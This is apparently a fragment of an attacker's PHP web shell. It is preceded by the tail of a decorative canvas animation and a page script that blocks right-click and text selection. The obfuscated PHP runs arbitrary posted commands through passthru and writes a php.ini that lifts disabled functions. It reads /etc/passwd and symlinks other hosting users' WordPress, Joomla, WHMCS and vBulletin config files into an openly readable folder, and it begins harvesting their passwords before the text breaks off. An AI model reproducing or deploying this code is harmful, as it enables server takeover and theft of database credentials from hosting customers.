3385ctx.closePath();
3386}
3387};
3388})();
3389// ----------------------------------------------------------------------------------------
3390function init(event) {
3391document.removeEventListener('mousemove', init);
3392document.removeEventListener('touchstart', init);
3393document.addEventListener('mousemove', mousemove);
3394document.addEventListener('touchmove', mousemove);
3395document.addEventListener('touchstart', touchstart);
3396mousemove(event);
3397reset();
3398loop();
3399}
3400function reset() {
3401tendrils = [];
3402for(var i = 0; i < settings.trails; i++) {
3403tendrils.push(new Tendril({
3404spring: 0.45 + 0.025 * (i / settings.trails)
3405}));
3406}
3407}
3408function loop() {
3409if(!ctx.running) return;
3410ctx.globalCompositeOperation = 'source-over';
3411ctx.fillStyle = 'rgba(8,5,16,0.4)';
3412ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
3413ctx.globalCompositeOperation = 'lighter';
3414ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
3415ctx.lineWidth = 1;
3416if(ctx.frame % 60 == 0) {
3417console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
3418}
3419for(var i = 0, tendril; i < settings.trails; i++) {
3420tendril = tendrils[i];
3421tendril.update();
3422tendril.draw();
3423}
3424ctx.frame++;
3425ctx.stats.update();
3426requestAnimFrame(loop);
3427}
3428function resize() {
3429ctx.canvas.width = window.innerWidth;
3430ctx.canvas.height = window.innerHeight;
3431}
3432function start() {
3433if(!ctx.running) {
3434ctx.running = true;
3435loop();
3436}
3437}
3438function stop() {
3439ctx.running = false;
3440}
3441function mousemove(event) {
3442if(event.touches) {
3443target.x = event.touches[0].pageX;
3444target.y = event.touches[0].pageY;
3445} else {
3446target.x = event.clientX
3447target.y = event.clientY;
3448}
3449event.preventDefault();
3450}
3451function touchstart(event) {
3452if(event.touches.length == 1) {
3453target.x = event.touches[0].pageX;
3454target.y = event.touches[0].pageY;
3455}
3456}
3457function keyup(event) {
3458switch(event.keyCode) {
3459case 32:
3460save();
3461break;
3462default:
3463// console.log(event.keyCode);
3464}
3465}
3466function letters(id) {
3467var el = document.getElementById(id),
3468letters = el.innerHTML.replace('&', '&').split(''),
3469heading = '';
3470for(var i = 0, n = letters.length, letter; i < n; i++) {
3471letter = letters[i].replace('&', '&');
3472heading += letter.trim() ? '<span class="letter-' + i + '">' + letter + '</span>' : ' ';
3473}
3474el.innerHTML = heading;
3475setTimeout(function() {
3476el.className = 'transition-in';
3477}, (Math.random() * 500) + 500);
3478}
3479function save() {
3480if(!buffer) {
3481buffer = document.createElement('canvas');
3482buffer.width = screen.availWidth;
3483buffer.height = screen.availHeight;
3484buffer.ctx = buffer.getContext('2d');
3485form = document.createElement('form');
3486form.method = 'post';
3487form.input = document.createElement('input');
3488form.input.type = 'hidden';
3489form.input.name = 'data';
3490form.appendChild(form.input);
3491document.body.appendChild(form);
3492}
3493buffer.ctx.fillStyle = 'rgba(8,5,16)';
3494buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
3495buffer.ctx.drawImage(canvas,
3496Math.round(buffer.width / 2 - canvas.width / 2),
3497Math.round(buffer.height / 2 - canvas.height / 2)
3498);
3499buffer.ctx.drawImage(logo,
3500Math.round(buffer.width / 2 - logo.width / 4),
3501Math.round(buffer.height / 2 - logo.height / 4),
3502logo.width / 2,
3503logo.height / 2
3504);
3505window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
3506// form.input.value = buffer.toDataURL().substr(22);
3507// form.submit();
3508}
3509window.requestAnimFrame = (function() {
3510return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
3511})();
3512window.onload = function() {
3513ctx = document.getElementById('canvas').getContext('2d');
3514ctx.stats = new Stats();
3515ctx.running = true;
3516ctx.frame = 1;
3517logo = new Image();
3518logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
3519hue = new Oscillator({
3520phase: Math.random() * Math.TWO_PI,
3521amplitude: 85,
3522frequency: 0.0015,
3523offset: 285
3524});
3525letters('h1');
3526letters('h2');
3527document.addEventListener('mousemove', init);
3528document.addEventListener('touchstart', init);
3529document.body.addEventListener('orientationchange', resize);
3530window.addEventListener('resize', resize);
3531window.addEventListener('keyup', keyup);
3532window.addEventListener('focus', start);
3533window.addEventListener('blur', stop);
3534resize();
3535if(window.DEBUG) {
3536var gui = new dat.GUI();
3537// gui.add(settings, 'debug');
3538settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
3539settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
3540settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
3541settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
3542settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);
3543document.body.appendChild(ctx.stats.domElement);
3544}
3545};
3546})(window);
3547</script>
3548<embed src="https://www.youtube.com/v/oWqWNMNFZlU&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="1" height="0">
3549<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false"></body>
3550<script type="text/javascript">
3551//form tags to omit in NS6+:
3552var omitformtags=["input", "textarea", "select"]
3553omitformtags=omitformtags.join("|")
3554function disableselect(e){
3555if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
3556return false
3557}
3558function reEnable(){
3559return true
3560}
3561if (typeof document.onselectstart!="undefined")
3562document.onselectstart=new Function ("return false")
3563else{
3564document.onmousedown=disableselect
3565document.onmouseup=reEnable
3566}
3567</script>
3568<body onkeydown="return false">
3569<body onselectstart="return false">
3570</body>
3571</html>
3572<script type="text/javascript" src="http://blogparts.giffy.me/0117/parts.js"></script><p style="text-align: center;margin:0;padding:0;"><a
3573<cite>
3574<?php
3575}
3576//////////////////////////////////////////////////////////////////////////////
3577
3578?>
3579<?php
3580if(isset($_GET['jak']) && ($_GET['jak'] == 'crack')){ ?>
3581<form action="?y=<?php echo $pwd; ?>&jak=crack" method="post">
3582<?php
3583$ {
3584 "GLOBALS"
3585}
3586["urgtxxu"]="password";
3587$ {
3588 "GLOBALS"
3589}
3590["tmwmkkbdjy"]="data";
3591$ {
3592 "GLOBALS"
3593}
3594["trhahkqrevw"]="connect_timeout";
3595$ {
3596 "GLOBALS"
3597}
3598["onsdfdthx"]="finalpass";
3599$ {
3600 "GLOBALS"
3601}
3602["qkfpdhf"]="target";
3603$ {
3604 "GLOBALS"
3605}
3606["wqykbxlcrzw"]="finaluser";
3607$ {
3608 "GLOBALS"
3609}
3610["iasgvgve"]="passlist";
3611$ {
3612 "GLOBALS"
3613}
3614["afrrfxkgbv"]="userl";
3615$ {
3616 "GLOBALS"
3617}
3618["cywofo"]="userlist";
3619$ {
3620 "GLOBALS"
3621}
3622["ainkhzdg"]="timeout";
3623$ {
3624 "GLOBALS"
3625}
3626["cmlkxbh"]="cracked";
3627$ {
3628 "GLOBALS"
3629}
3630["jtxbycj"]="attack";
3631$ {
3632 "GLOBALS"
3633}
3634["avvdiennau"]="passl";
3635$ {
3636 "GLOBALS"
3637}
3638["pkxusn"]="rt";
3639$ {
3640 "GLOBALS"
3641}
3642["mpzmgvjrk"]="pf";
3643$ {
3644 "GLOBALS"
3645}
3646["frnguil"]="d";
3647$ {
3648 "GLOBALS"
3649}
3650["oqvsusmuih"]="users";
3651$ {
3652 "GLOBALS"
3653}
3654["nheadbdqjtu"]="db";
3655$ {
3656 "GLOBALS"
3657}
3658["jqbdqptiz"]="pass";
3659$ {
3660 "GLOBALS"
3661}
3662["dseeueq"]="dbp";
3663$ {
3664 "GLOBALS"
3665}
3666["smposrbewu"]="uxl";
3667$ {
3668 "GLOBALS"
3669}
3670["ytygxi"]="result";
3671$ {
3672 "GLOBALS"
3673}
3674["clcexgoc"]="ch";
3675$ {
3676 "GLOBALS"
3677}
3678["ghpkiod"]="co";
3679$ {
3680 "GLOBALS"
3681}
3682["tfufwtkggg"]="usersss";
3683$ {
3684 "GLOBALS"
3685}
3686["xqjsjx"]="ffile";
3687$ {
3688 "GLOBALS"
3689}
3690["pmtirjsjc"]="ar1";
3691$ {
3692 "GLOBALS"
3693}
3694["kerydmcjzyb"]="ar";
3695$ {
3696 "GLOBALS"
3697}
3698["jlqnbkqdiu"]="marqueurFinLien";
3699$ {
3700 "GLOBALS"
3701}
3702["ggmdrvtscl"]="ar0";
3703$ {
3704 "GLOBALS"
3705}
3706["cphxtevrvxlx"]="uss";
3707$ {
3708 "GLOBALS"
3709}
3710["nfkxmppan"]="us";
3711$ {
3712 "GLOBALS"
3713}
3714["fdrsjdqvvfa"]="usr";
3715$ {
3716 "GLOBALS"
3717}
3718["wwtfekdukc"]="f";
3719$ {
3720 "GLOBALS"
3721}
3722["mppsifb"]="user";
3723$ {
3724 "GLOBALS"
3725}
3726["tnsglnuwozs"]="str";
3727$ {
3728 "GLOBALS"
3729}
3730["estpmxtrsymy"]="link";
3731$ {
3732 "GLOBALS"
3733}
3734["ukikdh"]="r";
3735$pfsmvyqq="head";
3736$ {
3737 "GLOBALS"
3738}
3739["puhmppjk"]="head";
3740$ {
3741 $ {
3742 "GLOBALS"
3743 }
3744 ["puhmppjk"]
3745}
3746="
3747<html>
3748<head>
3749
3750</script>";
3751echo "<html>
3752<head>
3753";
3754echo$ {
3755 $pfsmvyqq
3756}
3757;
3758
3759
3760if ($_POST['digicnsr']){
3761$digicnsr = $_POST['digicnsr'];
3762passthru($digicnsr);
3763}
3764echo "<body bgcolor=black><h3 style=\"text-align:center\"><font color=red size=2 face=\"comic sans ms\">
3765<form method=post>
3766<input type=submit name=ini value=\"Buka Semvak Dulu kak ^_^\" /><p></form>
3767";
3768if(isset($_POST["ini"])) {
3769 $tuyukblaw="rr";
3770 $ {
3771 "GLOBALS"
3772 }
3773 ["vpmwuoumuy"]="rr";
3774 $zcbtdlw="r";
3775 $ {
3776 $zcbtdlw
3777 }
3778 =fopen("php.ini","w");
3779 $ {
3780 "GLOBALS"
3781 }
3782 ["bkdfntbucf"]="link";
3783 $ {
3784 $tuyukblaw
3785 }
3786 =" disable_functions=none ";
3787 fwrite($ {
3788 $ {
3789 "GLOBALS"
3790 }
3791 ["ukikdh"]
3792 }
3793 ,$ {
3794 $ {
3795 "GLOBALS"
3796 }
3797 ["vpmwuoumuy"]
3798 }
3799 );
3800 $ {
3801 $ {
3802 "GLOBALS"
3803 }
3804 ["bkdfntbucf"]
3805 }
3806 ="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>di buka dulu semvaknya kak ^_^</u></font></a>";
3807 echo$ {
3808 $ {
3809 "GLOBALS"
3810 }
3811 ["estpmxtrsymy"]
3812 }
3813 ;
3814}
3815$ {
3816 "GLOBALS"
3817}
3818["fhuebeob"]="userl";
3819echo "<form method=post><p>
3820<input type=submit name=\"usre\" value=\"di pencet dulu kak ^_^\" /></form>
3821";
3822if(isset($_POST["usre"])) {
3823 $ {
3824 "GLOBALS"
3825 }
3826 ["nmgxpcpfqbz"]="users";
3827 $ {
3828 "GLOBALS"
3829 }
3830 ["ooteonyawj"]="users";
3831 $ulpomnmkws="user";
3832 echo "<form method=post>
3833<textarea rows=10 cols=30 name=user>";
3834 $ {
3835 $ {
3836 "GLOBALS"
3837 }
3838 ["ooteonyawj"]
3839 }
3840 =file("/etc/passwd");
3841 foreach($ {
3842 $ {
3843 "GLOBALS"
3844 }
3845 ["nmgxpcpfqbz"]
3846 }
3847 as$ {
3848 $ulpomnmkws
3849 }
3850 ) {
3851 $ {
3852 $ {
3853 "GLOBALS"
3854 }
3855 ["tnsglnuwozs"]
3856 }
3857 =explode(":",$ {
3858 $ {
3859 "GLOBALS"
3860 }
3861 ["mppsifb"]
3862 }
3863 );
3864 $ {
3865 "GLOBALS"
3866 }
3867 ["withojrurut"]="str";
3868 echo$ {
3869 $ {
3870 "GLOBALS"
3871 }
3872 ["withojrurut"]
3873 }
3874 [0]."
3875";
3876 }
3877 echo "</textarea><br><br>
3878<input type=submit name=su value=\"SODOMI\" /></form>
3879";
3880}
3881error_reporting(0);
3882echo"<font color=red size=2 face=\"comic sans ms\">";
3883if(isset($_POST["su"])) {
3884 $tpllhfwoe="r";
3885 $ {
3886 "GLOBALS"
3887 }
3888 ["lyvnzejugsvu"]="uss";
3889 $tcorpxovnr="dir";
3890 $ {
3891 "GLOBALS"
3892 }
3893 ["kveejcvk"]="f";
3894 $ {
3895 "GLOBALS"
3896 }
3897 ["rueiegknmuns"]="consym";
3898 $ {
3899 $tcorpxovnr
3900 }
3901 =mkdir("idbte4m-gitu-loh",0777);
3902 $ {
3903 $tpllhfwoe
3904 }
3905 =" Options all
3906 DirectoryIndex idbte4m-gitu-loh.html
3907 Require None
3908 Satisfy Any";
3909 $ {
3910 $ {
3911 "GLOBALS"
3912 }
3913 ["wwtfekdukc"]
3914 }
3915 =fopen("idbte4m-gitu-loh/.htaccess","w");
3916 fwrite($ {
3917 $ {
3918 "GLOBALS"
3919 }
3920 ["kveejcvk"]
3921 }
3922 ,$ {
3923 $ {
3924 "GLOBALS"
3925 }
3926 ["ukikdh"]
3927 }
3928 );
3929 $ {
3930 $ {
3931 "GLOBALS"
3932 }
3933 ["rueiegknmuns"]
3934 }
3935 ="<a href=idbte4m-gitu-loh/><font color=white size=3 face=\"comic sans ms\">Look This kak ^_^</font></a>";
3936 echo"<br>ini kak lubang pantatnya di bawah<br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
3937 $ {
3938 $ {
3939 "GLOBALS"
3940 }
3941 ["fdrsjdqvvfa"]
3942 }
3943 =explode("
3944",$_POST["user"]);
3945 foreach($ {
3946 $ {
3947 "GLOBALS"
3948 }
3949 ["fdrsjdqvvfa"]
3950 }
3951 as$ {
3952 $ {
3953 "GLOBALS"
3954 }
3955 ["lyvnzejugsvu"]
3956 }
3957 ) {
3958 $ {
3959 "GLOBALS"
3960 }
3961 ["ykxuxbudxwd"]="us";
3962 $nnfijewaq="us";
3963 $ {
3964 $ {
3965 "GLOBALS"
3966 }
3967 ["nfkxmppan"]
3968 }
3969 =trim($ {
3970 $ {
3971 "GLOBALS"
3972 }
3973 ["cphxtevrvxlx"]
3974 }
3975 );
3976 $ {
3977 "GLOBALS"
3978 }
3979 ["hqkbkbp"]="r";
3980 $ {
3981 "GLOBALS"
3982 }
3983 ["tjipdfjxt"]="us";
3984 $digicnsr="r";
3985 $ilinfsl="us";
3986 $nttomrctg="r";
3987 $wtsjldlfks="r";
3988 $ {
3989 $wtsjldlfks
3990 }
3991 ="idbte4m-gitu-loh/";
3992 $ {
3993 "GLOBALS"
3994 }
3995 ["siqthtb"]="us";
3996 $emvqckjm="us";
3997 symlink("/home/".$ {
3998 $ {
3999 "GLOBALS"
4000 }
4001 ["nfkxmppan"]
4002 }
4003 ."/public_html/wp-config.php",$ {
4004 $ {
4005 "GLOBALS"
4006 }
4007 ["ukikdh"]
4008 }
4009 .$ {
4010 $ {
4011 "GLOBALS"
4012 }
4013 ["nfkxmppan"]
4014 }
4015 ."..wp-config");
4016 $vbdqstdn="us";
4017 symlink("/home/".$ {
4018 $ {
4019 "GLOBALS"
4020 }
4021 ["nfkxmppan"]
4022 }
4023 ."/public_html/wordpress/wp-config.php",$ {
4024 $ {
4025 "GLOBALS"
4026 }
4027 ["ukikdh"]
4028 }
4029 .$ {
4030 $ {
4031 "GLOBALS"
4032 }
4033 ["nfkxmppan"]
4034 }
4035 ."..word-wp");
4036 $ {
4037 "GLOBALS"
4038 }
4039 ["oeqavelcrca"]="us";
4040 $ {
4041 "GLOBALS"
4042 }
4043 ["evgapi"]="r";
4044 $fuepnu="us";
4045 $ {
4046 "GLOBALS"
4047 }
4048 ["ciedzzvonvs"]="us";
4049 $ywjdhaoepls="r";
4050 $ {
4051 "GLOBALS"
4052 }
4053 ["seuqbf"]="us";
4054 $ {
4055 "GLOBALS"
4056 }
4057 ["icatsvxz"]="us";
4058 $jgueznl="r";
4059 $bxhsmqekesfp="us";
4060 $osqubeuk="us";
4061 $yhskzomzcmj="us";
4062 $ {
4063 "GLOBALS"
4064 }
4065 ["iqlxhlploe"]="r";
4066 $qshqeltig="us";
4067 symlink("/home/".$ {
4068 $ {
4069 "GLOBALS"
4070 }
4071 ["seuqbf"]
4072 }
4073 ."/public_html/blog/wp-config.php",$ {
4074 $ {
4075 "GLOBALS"
4076 }
4077 ["ukikdh"]
4078 }
4079 .$ {
4080 $ {
4081 "GLOBALS"
4082 }
4083 ["nfkxmppan"]
4084 }
4085 ."..wpblog");
4086 $ynyawmsbu="r";
4087 $upygzgud="r";
4088 symlink("/home/".$ {
4089 $vbdqstdn
4090 }
4091 ."/public_html/configuration.php",$ {
4092 $ {
4093 "GLOBALS"
4094 }
4095 ["iqlxhlploe"]
4096 }
4097 .$ {
4098 $ {
4099 "GLOBALS"
4100 }
4101 ["nfkxmppan"]
4102 }
4103 ."..joomla-or-whmcs");
4104 symlink("/home/".$ {
4105 $ {
4106 "GLOBALS"
4107 }
4108 ["nfkxmppan"]
4109 }
4110 ."/public_html/joomla/configuration.php",$ {
4111 $ {
4112 "GLOBALS"
4113 }
4114 ["evgapi"]
4115 }
4116 .$ {
4117 $ {
4118 "GLOBALS"
4119 }
4120 ["siqthtb"]
4121 }
4122 ."..joomla");
4123 $xmytnoqtu="us";
4124 $ {
4125 "GLOBALS"
4126 }
4127 ["fphgbuds"]="us";
4128 $ {
4129 "GLOBALS"
4130 }
4131 ["psapxabo"]="us";
4132 $ {
4133 "GLOBALS"
4134 }
4135 ["fmwcjqjyryn"]="us";
4136 $ {
4137 "GLOBALS"
4138 }
4139 ["uhxnnsjox"]="us";
4140 $ {
4141 "GLOBALS"
4142 }
4143 ["vtrdskbnl"]="r";
4144 symlink("/home/".$ {
4145 $ {
4146 "GLOBALS"
4147 }
4148 ["nfkxmppan"]
4149 }
4150 ."/public_html/vb/includes/config.php",$ {
4151 $nttomrctg
4152 }
4153 .$ {
4154 $ {
4155 "GLOBALS"
4156 }
4157 ["nfkxmppan"]
4158 }
4159 ."..vbinc");
4160 symlink("/home/".$ {
4161 $ {
4162 "GLOBALS"
4163 }
4164 ["uhxnnsjox"]
4165 }
4166 ."/public_html/includes/config.php",$ {
4167 $ {
4168 "GLOBALS"
4169 }
4170 ["ukikdh"]
4171 }
4172 .$ {
4173 $ {
4174 "GLOBALS"
4175 }
4176 ["nfkxmppan"]
4177 }
4178 ."..vb");
4179 $ {
4180 "GLOBALS"
4181 }
4182 ["wnvbzxp"]="us";
4183 $ {
4184 "GLOBALS"
4185 }
4186 ["hqilsywq"]="r";
4187 symlink("/home/".$ {
4188 $ {
4189 "GLOBALS"
4190 }
4191 ["nfkxmppan"]
4192 }
4193 ."/public_html/conf_global.php",$ {
4194 $ {
4195 "GLOBALS"
4196 }
4197 ["ukikdh"]
4198 }
4199 .$ {
4200 $ {
4201 "GLOBALS"
4202 }
4203 ["nfkxmppan"]
4204 }
4205 ."..conf_global");
4206 symlink("/home/".$ {
4207 $qshqeltig
4208 }
4209 ."/public_html/inc/config.php",$ {
4210 $ {
4211 "GLOBALS"
4212 }
4213 ["ukikdh"]
4214 }
4215 .$ {
4216 $ {
4217 "GLOBALS"
4218 }
4219 ["tjipdfjxt"]
4220 }
4221 ."..inc");
4222 symlink("/home/".$ {
4223 $ {
4224 "GLOBALS"
4225 }
4226 ["fphgbuds"]
4227 }
4228 ."/public_html/config.php",$ {
4229 $ {
4230 "GLOBALS"
4231 }
4232 ["ukikdh"]
4233 }
4234 .$ {
4235 $xmytnoqtu
4236 }
4237 ."..config");
4238 symlink("/home/".$ {
4239 $ {
4240 "GLOBALS"
4241 }
4242 ["nfkxmppan"]
4243 }
4244 ."/public_html/Settings.php",$ {
4245 $ywjdhaoepls
4246 }
4247 .$ {
4248 $ {
4249 "GLOBALS"
4250 }
4251 ["nfkxmppan"]
4252 }
4253 ."..Settings");
4254 symlink("/home/".$ {
4255 $ {
4256 "GLOBALS"
4257 }
4258 ["oeqavelcrca"]
4259 }
4260 ."/public_html/sites/default/settings.php",$ {
4261 $digicnsr
4262 }
4263 .$ {
4264 $ {
4265 "GLOBALS"
4266 }
4267 ["wnvbzxp"]
4268 }
4269 ."..sites");
4270 symlink("/home/".$ {
4271 $ilinfsl
4272 }
4273 ."/public_html/whm/configuration.php",$ {
4274 $ {
4275 "GLOBALS"
4276 }
4277 ["ukikdh"]
4278 }
4279 .$ {
4280 $emvqckjm
4281 }
4282 ."..whm");
4283 $qqfekrji="us";
4284 $ {
4285 "GLOBALS"
4286 }
4287 ["twjpjgbpqc"]="r";
4288 $ {
4289 "GLOBALS"
4290 }
4291 ["sxqkxmmdzq"]="us";
4292 symlink("/home/".$ {
4293 $ {
4294 "GLOBALS"
4295 }
4296 ["nfkxmppan"]
4297 }
4298 ."/public_html/whmcs/configuration.php",$ {
4299 $ {
4300 "GLOBALS"
4301 }
4302 ["ukikdh"]
4303 }
4304 .$ {
4305 $osqubeuk
4306 }
4307 ."..whmcs");
4308 $cbuolpszvmwl="us";
4309 $ {
4310 "GLOBALS"
4311 }
4312 ["qgnhbmkjk"]="us";
4313 symlink("/home/".$ {
4314 $cbuolpszvmwl
4315 }
4316 ."/public_html/support/configuration.php",$ {
4317 $ {
4318 "GLOBALS"
4319 }
4320 ["ukikdh"]
4321 }
4322 .$ {
4323 $ {
4324 "GLOBALS"
4325 }
4326 ["nfkxmppan"]
4327 }
4328 ."..supporwhmcs");
4329 symlink("/home/".$ {
4330 $ {
4331 "GLOBALS"
4332 }
4333 ["sxqkxmmdzq"]
4334 }
4335 ."/public_html/whmc/WHM/configuration.php",$ {
4336 $ {
4337 "GLOBALS"
4338 }
4339 ["ukikdh"]
4340 }
4341 .$ {
4342 $ {
4343 "GLOBALS"
4344 }
4345 ["nfkxmppan"]
4346 }
4347 ."..WHM");
4348 symlink("/home/".$ {
4349 $ {
4350 "GLOBALS"
4351 }
4352 ["nfkxmppan"]
4353 }
4354 ."/public_html/whm/WHMCS/configuration.php",$ {
4355 $ {
4356 "GLOBALS"
4357 }
4358 ["twjpjgbpqc"]
4359 }
4360 .$ {
4361 $ {
4362 "GLOBALS"
4363 }
4364 ["fmwcjqjyryn"]
4365 }
4366 ."..whmc");
4367 symlink("/home/".$ {
4368 $fuepnu
4369 }
4370 ."/public_html/whm/whmcs/configuration.php",$ {
4371 $ {
4372 "GLOBALS"
4373 }
4374 ["vtrdskbnl"]
4375 }
4376 .$ {
4377 $ {
4378 "GLOBALS"
4379 }
4380 ["ciedzzvonvs"]
4381 }
4382 ."..WHMcs");
4383 symlink("/home/".$ {
4384 $ {
4385 "GLOBALS"
4386 }
4387 ["nfkxmppan"]
4388 }
4389 ."/public_html/support/configuration.php",$ {
4390 $jgueznl
4391 }
4392 .$ {
4393 $ {
4394 "GLOBALS"
4395 }
4396 ["nfkxmppan"]
4397 }
4398 ."..whmcsupp");
4399 symlink("/home/".$ {
4400 $qqfekrji
4401 }
4402 ."/public_html/clients/configuration.php",$ {
4403 $ {
4404 "GLOBALS"
4405 }
4406 ["ukikdh"]
4407 }
4408 .$ {
4409 $ {
4410 "GLOBALS"
4411 }
4412 ["nfkxmppan"]
4413 }
4414 ."..whmcs-cli");
4415 symlink("/home/".$ {
4416 $ {
4417 "GLOBALS"
4418 }
4419 ["ykxuxbudxwd"]
4420 }
4421 ."/public_html/client/configuration.php",$ {
4422 $ {
4423 "GLOBALS"
4424 }
4425 ["hqkbkbp"]
4426 }
4427 .$ {
4428 $ {
4429 "GLOBALS"
4430 }
4431 ["icatsvxz"]
4432 }
4433 ."..whmcs-cl");
4434 symlink("/home/".$ {
4435 $ {
4436 "GLOBALS"
4437 }
4438 ["nfkxmppan"]
4439 }
4440 ."/public_html/clientes/configuration.php",$ {
4441 $ynyawmsbu
4442 }
4443 .$ {
4444 $bxhsmqekesfp
4445 }
4446 ."..whmcs-CL");
4447 symlink("/home/".$ {
4448 $ {
4449 "GLOBALS"
4450 }
4451 ["psapxabo"]
4452 }
4453 ."/public_html/cliente/configuration.php",$ {
4454 $ {
4455 "GLOBALS"
4456 }
4457 ["ukikdh"]
4458 }
4459 .$ {
4460 $ {
4461 "GLOBALS"
4462 }
4463 ["nfkxmppan"]
4464 }
4465 ."..whmcs-Cl");
4466 symlink("/home/".$ {
4467 $nnfijewaq
4468 }
4469 ."/public_html/clientsupport/configuration.php",$ {
4470 $ {
4471 "GLOBALS"
4472 }
4473 ["hqilsywq"]
4474 }
4475 .$ {
4476 $ {
4477 "GLOBALS"
4478 }
4479 ["nfkxmppan"]
4480 }
4481 ."..whmcs-csup");
4482 symlink("/home/".$ {
4483 $yhskzomzcmj
4484 }
4485 ."/public_html/billing/configuration.php",$ {
4486 $upygzgud
4487 }
4488 .$ {
4489 $ {
4490 "GLOBALS"
4491 }
4492 ["qgnhbmkjk"]
4493 }
4494 ."..whmcs-bill");
4495 symlink("/home/".$ {
4496 $ {
4497 "GLOBALS"
4498 }
4499 ["nfkxmppan"]
4500 }
4501 ."/public_html/admin/config.php",$ {
4502 $ {
4503 "GLOBALS"
4504 }
4505 ["ukikdh"]
4506 }
4507 .$ {
4508 $ {
4509 "GLOBALS"
4510 }
4511 ["nfkxmppan"]
4512 }
4513 ."..admin-conf");
4514 }
4515}
4516echo "
4517<form method=post>
4518<input type=submit name=sm value=\"Ayo Kak Main kuda kudaan ^_^\"></form>
4519";
4520$ {
4521 "GLOBALS"
4522}
4523["ytidfmauvywq"]="target";
4524error_reporting(0);
4525set_time_limit(0);
4526function entre2v2($text,$marqueurDebutLien,$marqueurFinLien) {
4527 $olntrvw="text";
4528 $khrhbgxcul="ar";
4529 $ {
4530 "GLOBALS"
4531 }
4532 ["agilmrcy"]="ar1";
4533 $ {
4534 "GLOBALS"
4535 }
4536 ["dbdhjgpvvl"]="marqueurDebutLien";
4537 $ {
4538 $ {
4539 "GLOBALS"
4540 }
4541 ["ggmdrvtscl"]
4542 }
4543 =explode($ {
4544 $ {
4545 "GLOBALS"
4546 }
4547 ["dbdhjgpvvl"]
4548 }
4549 ,$ {
4550 $olntrvw
4551 }
4552 );
4553 $ {
4554 $ {
4555 "GLOBALS"
4556 }
4557 ["agilmrcy"]
4558 }
4559 =explode($ {
4560 $ {
4561 "GLOBALS"
4562 }
4563 ["jlqnbkqdiu"]
4564 }
4565 ,$ {
4566 $ {
4567 "GLOBALS"
4568 }
4569 ["ggmdrvtscl"]
4570 }
4571 [1]);
4572 $ {
4573 $ {
4574 "GLOBALS"
4575 }
4576 ["kerydmcjzyb"]
4577 }
4578 =trim($ {
4579 $ {
4580 "GLOBALS"
4581 }
4582 ["pmtirjsjc"]
4583 }
4584 [0]);
4585 return$ {
4586 $khrhbgxcul
4587 }
4588 ;
4589}
4590if(isset($_POST["sm"])) {
4591 echo"U can see the the Passowrd in here :p";
4592 $ {
4593 "GLOBALS"
4594 }
4595 ["svhyqvbhq"]="r";
4596 $ {
4597 $ {
4598 "GLOBALS"
4599 }
4600 ["xqjsjx"]
4601 }
4602 =fopen("r.txt","a+");
4603 $ {
4604 "GLOBALS"
4605 }
4606 ["nhifbiqs"]="user";
4607 $ {
4608 "GLOBALS"
4609 }
4610 ["ztuunpxyevyv"]="re";
4611 $ {
4612 $ {
4613 "GLOBALS"
4614 }
4615 ["svhyqvbhq"]
4616 }
4617 ="http://".$_SERVER["SERVER_NAME"].dirname($_SERVER["SCRIPT_NAME"])."/idbte4m-gitu-loh/";
4618 $nsznhpufgc="confi";
4619 $ {
4620 $ {
4621 "GLOBALS"
4622 }
4623 ["ztuunpxyevyv"]
4624 }
4625 =$ {
4626 $ {
4627 "GLOBALS"
4628 }
4629 ["ukikdh"]
4630 }
4631 ;
4632 $oqjgrkmwi="users";
4633 $ {
4634 "GLOBALS"
4635 }
4636 ["hrwgcxni"]="users";
4637 $ {
4638 $nsznhpufgc
4639 }
4640 =array("..wp-config","..word-wp","..wpblog","..config","..admin-conf","..vb","..joomla-or-whmcs","..joomla","..vbinc","..whm","..whmcs","..supporwhmcs","..WHM","..whmc","..WHMcs","..whmcsupp","..whmcs-cli","..whmcs-cl","..whmcs-CL","..whmcs-Cl","..whmcs-csup","..whmcs-bill");
4641 $ {
4642 $ {
4643 "GLOBALS"
4644 }
4645 ["hrwgcxni"]
4646 }
4647 =file("/etc/passwd");
4648 foreach($ {
4649 $oqjgrkmwi
4650 }
4651 as$ {
4652 $ {
4653 "GLOBALS"
4654 }
4655 ["nhifbiqs"]
4656 }
4657 ) {
4658 $ {
4659 "GLOBALS"
4660 }
4661 ["lffiivehuw"]="str";
4662 $ {
4663 "GLOBALS"
4664 }
4665 ["fdwmnihfmm"]="str";
4666 $qdscoy="confi";
4667 $ {
4668 "GLOBALS"
4669 }
4670 ["qdsgggmv"]="user";
4671 $ {
4672 $ {
4673 "GLOBALS"
4674 }
4675 ["fdwmnihfmm"]
4676 }
4677 =explode(":",$ {
4678 $ {
4679 "GLOBALS"
4680 }
4681 ["qdsgggmv"]
4682 }
4683 );
4684 $ {
4685 $ {
4686 "GLOBALS"
4687 }
4688 ["tfufwtkggg"]
4689 }
4690 =$ {
4691 $ {
4692 "GLOBALS"
4693 }
4694 ["lffiivehuw"]
4695 }
4696 [0];
4697 foreach($ {
4698 $qdscoy
4699 }
4700 as$ {
4701 $ {
4702 "GLOBALS"
4703 }
4704 ["ghpkiod"]
4705 }
4706 ) {
4707 $lqovtogmdro="ch";
4708 $pohpfdtmti="re";
4709 $ {
4710 "GLOBALS"
4711 }
4712 ["nchjukvvqit"]="ch";
4713 $hehrkezdpk="uxl";
4714 $ {
4715 "GLOBALS"
4716 }
4717 ["pemxmrsh"]="uurl";
